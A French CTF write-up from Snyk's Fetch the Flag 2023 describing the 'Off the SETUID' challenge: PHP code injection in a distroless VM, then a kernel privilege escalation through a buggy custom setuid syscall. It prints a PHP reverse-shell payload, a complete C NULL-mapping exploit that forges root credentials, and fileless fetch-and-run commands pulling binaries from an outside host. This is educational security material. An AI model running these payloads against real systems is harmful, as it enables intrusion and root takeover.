Skip to main content

Compte rendu du CTF Snyk Fetch the Flag 2023 : Off the SETUID

Écrit par
Headshot of Carlos Polop

Carlos Polop

Headshot of Yago Gutiérrez

Yago Gutiérrez

snyk ctf off the setuid

30 novembre 2023

0 minutes de lecture

Merci d’avoir participé à Fetch avec nous ! Félicitations aux milliers de joueurs qui nous ont rejoints pour le CTF Fetch the Flag. Si vous avez participé à Fetch the Flag 2023 de Snyk et cherchez la solution du défi Off the SETUID, vous êtes au bon endroit. Découvrons-la ensemble !

Vous voilà dans un environnement inconnu. Saurez-vous vous débrouiller avec les ressources disponibles ? Ou pourrez-vous simplement vous en sortir…

Récupérez le flag dans le répertoire personnel de l’utilisateur root.

Voilà un drôle de défi. S’agit-il d’un défi web ou d’une exploitation du noyau ?

Nous avons un script qemu, un noyau compilé (avec son fichier .diff) et une image initramfs (ainsi que le code du programme init). Pour commencer, nous pouvons simplement décompresser initramfs et regarder ce qu’elle contient.

Distribution ou pas distribution ?

$ zstdcat -d - < ../initramfs.img | cpio -i
172272 bloques
$ ls -l
total 48
lrwxrwxrwx 1 arget arget     8 oct 30 22:00 bin -> usr/bin/
drwxr-xr-x 2 arget arget  4096 oct 30 22:00 dev
drwxr-xr-x 2 arget arget  4096 oct 30 22:00 etc
drwxr-xr-x 2 arget arget  4096 oct 30 22:00 home
-rwxr-xr-x 1 arget arget 16264 oct 30 22:00 init
lrwxrwxrwx 1 arget arget     8 oct 30 22:00 lib64 -> /usr/lib
drwxr-xr-x 2 arget arget  4096 oct 30 22:00 proc
drwx------ 2 arget arget  4096 oct 30 22:00 root
drwxr-xr-x 2 arget arget  4096 oct 30 22:00 sys
drwxr-xr-x 4 arget arget  4096 oct 30 22:00 usr
drwxr-xr-x 3 arget arget  4096 oct 30 22:00 var
$ ls usr/bin/
php
$ ls -l root/flag.txt 
-r-------- 1 arget arget 25 oct 30 22:00 root/flag.txt

Bon, il n’y a pas de distribution. Pas de shell, pas d’utilitaires courants, rien du tout. Le programme init est évidemment compilé (il n’y a pas de shell, donc il ne peut pas s’agir d’un script), mais nous avons aussi son code source :

// [Definition of add_dev_addr() and default_gw()]
int main()
{
	mknod("/dev/null" , 0666 | S_IFCHR, makedev(1, 3));
	mknod("/dev/ttyS0", 0660 | S_IFCHR, makedev(4, 64));

	mount("proc", "/proc", "proc" , MS_NOEXEC | MS_NODEV | MS_NOSUID, NULL);
	mount("sysfs", "/sys", "sysfs", MS_NOEXEC | MS_NODEV | MS_NOSUID, NULL);
	mount(NULL, "/", NULL, MS_REMOUNT | MS_RDONLY, NULL);

	int fd = socket(PF_INET, SOCK_DGRAM, IPPROTO_IP);
	add_dev_addr(fd, "10.0.2.15", "255.255.255.0");
	default_gw(fd, inet_addr("10.0.2.2"));
	close(fd);

	if (!fork())
	{
		setresuid(100, 100, 100);
		chdir("/var/run");
		execl("/usr/bin/php", "php", "-S", "0:8080", NULL);
		err(1, "Something failed");
	}
	wait(NULL);

	reboot(RB_POWER_OFF);
}

Il effectue les opérations habituelles d’un script init : initialiser certains périphériques, monter procfs et sysfs (avec noexec), remonter rootfs en lecture seule et initialiser le réseau. Il démarre ensuite un serveur HTTP qui écoute sur le port 8080, dont le répertoire racine est /var/run, et qui s’exécute avec l’utilisateur ayant uid=100.

Dans /var/run, il n’y a qu’un fichier index.php :

// [CSS stuff]
<h2>Super Secure PHP Code Evaluator</h2>
<div class="container">
    <form method="post">
        <input type="text" name="code" placeholder="Enter code" required>
        <br>
        <button type="submit">Eval Code</button>
    </form>
    <?php
    if ($_SERVER['REQUEST_METHOD'] == 'POST') {
        $code = $_POST['code'];
        eval($code);
    }
    ?>
</div>
<br><br><br>
<a href="?debug">Show Source Code</a>

<?php
if (isset($_GET['debug'])) {
    highlight_file(__FILE__);
}
?>

En résumé, nous avons un serveur HTTP manifestement vulnérable à l’injection de code PHP. Nous pouvons donc utiliser quelque chose comme ce qui suit pour obtenir un shell PHP interactif inversé :

$s = fsockopen("10.0.2.2", 4444);
proc_open(['php', '-a'], array(0 => $s, 1 => $s, 2 => $s), $p);

Mais nous ne pouvons pas lire le flag, car seul root y a accès. Nous devons donc trouver un moyen d’élever nos privilèges. Voici fun_setuid.diff.

fun_setuid()

Dans le fichier .diff, nous voyons qu’un nouveau syscall a été ajouté au noyau :

struct cred* prepare_user_creds(kuid_t kuid)
{
	struct cred* new;
	long retval;
	if (!uid_valid(kuid))
		return NULL;

	new = prepare_creds();
	if (!new)
		return (struct cred*) -ENOMEM;

	new->uid   = kuid;
	retval = set_user(new);
	if (retval < 0)
		goto error;
	new->euid  = kuid;
	new->suid  = kuid;
	new->fsuid = kuid;

	retval = security_task_fix_setuid(new, current_cred(), LSM_SETID_RES);
	if (retval < 0)
		goto error;

	retval = set_cred_ucounts(new);
	if (retval < 0)
		goto error;

	flag_nproc_exceeded(new);
	return new;

error:
	abort_creds(new);
	return (struct cred*) retval;
}

long __sys_fun_setuid(uid_t uid)
{
	const struct cred* old;
	struct cred* new;
	kuid_t kuid = make_kuid(current_user_ns(), uid);

	old = current_cred();

	if (uid_lt(kuid, old->uid) &&
	    !ns_capable_setid(old->user_ns, CAP_SETUID))
		return -EPERM;

	new = prepare_user_creds(kuid);
	if (new < 0)
		return (long) new;

	return commit_creds(new);
}

SYSCALL_DEFINE1(fun_setuid, uid_t, uid)
{
	return __sys_fun_setuid(uid);
}

En bref, ce syscall permet à un processus de modifier son uid pour en adopter un autre, à condition que celui-ci soit supérieur à l’actuel (ou que le processus dispose de la capacité CAP_SETUID).

Le syscall utilise une fonction auxiliaire appelée prepare_user_creds(), qui fait appel à son tour à prepare_cred() pour allouer une nouvelle struct cred, puis la modifie pour qu’elle corresponde au nouvel utilisateur et la renvoie. En cas d’erreur, la fonction renvoie la valeur opposée d’un code d’erreur. C’est pourquoi la fonction syscall vérifie que la valeur renvoyée n’est pas négative avant de valider les identifiants (voir la note de conception ci-dessous). Elle vérifie également que le uid demandé est valide (c’est-à-dire différent de -1) ; dans le cas contraire, elle renvoie NULL.

Note de conception

Cette conception présente également deux problèmes majeurs :

  • En C, comparer une adresse à zéro ne fonctionne pas. Tout simplement. Les adresses sont traitées comme des types non signés : vérifier si l’une d’elles est négative n’a donc aucun sens, et le compilateur supprime entièrement le if.

  • Même si le compilateur ne le supprimait pas, le code ne fonctionnerait toujours pas, car sous Linux sur x86, les adresses du noyau sont toujours négatives. Ainsi, même si prep_user_creds() ne détecte aucun problème, le pointeur struct cred* qu’elle renvoie serait interprété comme négatif et ne serait pas validé.

Les identifiants

Le problème, c’est que la fonction syscall ne vérifie pas cette dernière possibilité : elle peut donc valider un pointeur NULL comme pointeur vers notre structure d’identifiants. Après avoir modifié initramfs pour y ajouter busybox, nous pouvons exécuter sysctl vm.mmap_min_addr afin de connaître l’adresse minimale qu’un processus peut mapper sur ce système. Si nous avons besoin d’effectuer des vérifications supplémentaires, nous avons aussi accès à /proc/config.gz.

Nous constatons que mmap_min_addr=0 et que le script run.sh n’active pas SMAP sur la machine virtuelle… Parfait ! Nous pouvons mapper l’adresse NULL, y placer une structure d’identifiants pour root et appeler fun_setuid(-1) afin que notre pointeur d’identifiants pointe vers NULL, c’est-à-dire vers nos faux identifiants.

#include <unistd.h>
#include <sys/types.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <err.h>

#define __NR_fun_setuid 452
long fun_setuid(uid_t uid)
{
	return syscall(__NR_fun_setuid, uid);
}

struct cred
{
	int		usage;
	unsigned	uid;
	unsigned	gid;
	unsigned	suid;
	unsigned	sgid;
	unsigned	euid;
	unsigned	egid;
	unsigned	fsuid;
	unsigned	fsgid;
	unsigned	securebits;
	unsigned long	cap_inheritable;
	unsigned long	cap_permitted;
	unsigned long	cap_effective;
	unsigned long	cap_bset;
	unsigned long	cap_ambient;
	// ... pointers to stuff I don't care about
};

int main(int argc, char** argv)
{
	char buf[100];
	int fd;
	struct cred* cred = NULL;

	void* map = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE,
			MAP_ANON | MAP_PRIVATE | MAP_FIXED, -1, 0);
	if (map == MAP_FAILED)
		err(1, "mmap()");

	*cred = (struct cred) { 1, 0, 0, 0, 0, 0, 0, 0, -1, -1, -1, -1, -1 };

	printf("uid = %u\n", getuid());
	fun_setuid(-1);
	printf("uid = %u\n", getuid());

	fd = open("/root/flag.txt", O_RDONLY);
	write(0, buf, read(fd, buf, sizeof buf));
	close(fd);

	pause(); // If you don't look it isn't there :P
	return 0;

Nous n’avons pas vraiment besoin de modifier les capacités, mais puisque nous y sommes, autant le faire pour gagner des points supplémentaires. Notez toutefois qu’il est essentiel de définir cred->usage=1 (qui joue le rôle d’un compteur de références), sinon le noyau considérera qu’il s’agit d’un bug UAF (BUG_ON(atomic_read(&new->usage) < 1)).

Nous ne devons pas non plus laisser ce processus se terminer, car le noyau essaierait alors de libérer cette structure, ce qui serait problématique. C’est pourquoi nous ne pouvons pas lancer un shell (un appel à execve() entraîne finalement la fin du processus en cours), d’où le pause() à la fin.

Mais il reste un problème : nous ne pouvons téléverser l’exploit nulle part pour l’exécuter. Nous pouvons le convertir en shellcode et utiliser du code PHP pour écrire dans le fichier mem de procfs du processus PHP, afin d’exécuter du code natif arbitraire. Nous pourrons alors mapper NULL avec mmap(), y placer de faux identifiants et appeler fun_setuid(-1), puisque nous ne pouvons rien de tout cela avec un script PHP…

Mais ça manque un peu de panache.

Memexec

Il y a quelques mois, nous avons donné une conférence à DEFCON 31 sur le contournement, dans certaines circonstances, des environnements sans distribution. Pour cela, j’ai (Yago Gutiérrez) développé un outil appelé memexec, qui permet d’exécuter sans fichier, depuis PHP, n’importe quel programme.

Collez simplement cette session PHP interactive. Vous disposerez alors d’une fonction memexec() qui accepte deux arguments : l’URI d’un binaire et un tableau d’arguments pour le programme. Nous pouvons, par exemple, configurer un serveur HTTP avec busybox et exécuter des commandes sur le système :

php > memexec("http://10.0.2.2:8888/busybox", ["ls", "-la", "/"]);
memexec("http://10.0.2.2:8888/busybox", ["ls", "-la", "/"]);
total 16
drwxr-xr-x   10 root     root           260 Oct 24 22:42 .
drwxr-xr-x   10 root     root           260 Oct 24 22:42 ..
lrwxrwxrwx    1 root     root             8 Oct 24 22:31 bin -> usr/bin/
drwxr-xr-x    2 root     root           100 Oct 31 10:39 dev
drwxr-xr-x    2 root     root           120 Oct 24 22:53 etc
drwxr-xr-x    2 root     root            40 Oct 24 18:25 home
-rwxr-xr-x    1 root     root         16264 Oct 24 22:42 init
lrwxrwxrwx    1 root     root             8 Oct 24 18:25 lib64 -> /usr/lib
dr-xr-xr-x  102 root     root             0 Oct 31 10:39 proc
drwx------    2 root     root            60 Oct 24 18:25 root
dr-xr-xr-x   12 root     root             0 Oct 31 10:39 sys
drwxr-xr-x    4 root     root            80 Oct 24 18:25 usr
drwxr-xr-x    3 root     root            60 Oct 24 18:25 var
php > memexec("http://10.0.2.2:8888/busybox", ["mount"]);
memexec("http://10.0.2.2:8888/busybox", ["mount"]);
rootfs on / type rootfs (ro,size=94428k,nr_inodes=23607)
proc on /proc type proc (rw,nosuid,nodev,noexec,relatime)
sysfs on /sys type sysfs (rw,nosuid,nodev,noexec,relatime)
php > 

Important : la machine virtuelle ne contient aucune bibliothèque SSL. Veillez donc à ne pas utiliser HTTPS.

Bon, allez, exploitons ce noyau une bonne fois pour toutes.

php > memexec("http://10.0.2.2:8888/x", []);
memexec("http://10.0.2.2:8888/x", []);
the flag will be here...

Merci d’avoir contribué à la réussite de Fetch !

Un immense merci à toutes les équipes qui ont participé à Fetch the Flag 2023 ! C’était formidable de vous y retrouver. Vous pouvez toujours nous retrouver sur @Arget (@arget13 sur GH) et @carlospolop (@carlospop également sur GH).

Voici les comptes rendus des autres défis de 2023. Bonne lecture !

Publié dans: